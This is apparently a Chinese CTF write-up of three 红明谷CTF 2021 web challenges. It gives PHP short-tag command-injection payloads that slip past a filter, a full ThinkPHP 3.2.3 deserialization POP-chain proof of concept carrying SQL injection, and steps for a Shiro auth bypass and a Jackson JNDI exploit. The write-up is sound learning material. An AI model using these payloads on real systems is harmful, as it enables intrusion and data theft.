红明谷CTF 2021部分web复现

write_shell

看题目知道是写shell
打开网页得到源码

20220110132102

可以看到这里给了路径,然后进行文件写入sandbox/cc551ab005b2e60fbdc88de809b2c4b1/
里面有过滤代码,首先waf先遍历数组,防止数组绕过preg_match
然后preg_match过滤了php,eval没法写一句话,尝试php的短标签

在正常PHP5中,支持如下4种PHP标签:
– 通过<?php标签
– 通过<?标签
– 通过<%标签(默认不开启,PHP7后被移除)
– 通过<script language="php">标签(PHP7后被移除)

尝试写入,空格过滤了,fuzz后%09可以绕过,写入?action=upload&data=<?echo%09111?>
成功写入

20220110132744

同时php会把反引号内的内容当作命令执行,使用反引号运算符“的效果与函数 shell_exec() 相同。所以我们尝试写入:
?action=upload&data=<?echo%09\ls%09/`?>`

获取路径

20220110133111

读取flag

?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>

EasyTP

进来啥也没有,知道是Thinkphp

20220112095953

扫一下得到www.zip,下载源码,看到反序列化点

20220112100045

tp版本是3.2.3,直接网上找链子,ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

在BUUCTF的环境中,database=test,password=root
报错注入
poc

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

20220112104029

爆表

20220112104427

爆列

20220112104921

获取flag,发现获取长度不够

20220112105036

使用mid获取后面flag

20220112105619

JavaWeb

进来是错误页面,这是spring或者是springboot

20220114105121

尝试post /login,回显登陆失败

20220114105238

并且返回cookie里有deleteMe,可以知道是shori,那么就可以使用/;/绕过

20220114105313

可以看到jackson,这里可以尝试反序列化

20220114105520

成功监听到

20220114105925

直接使用工具打
https://github.com/welk1n/JNDI-Injection-Exploit

20220114110203

用 Spring 那条链直接打
得到flag

20220114110426

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇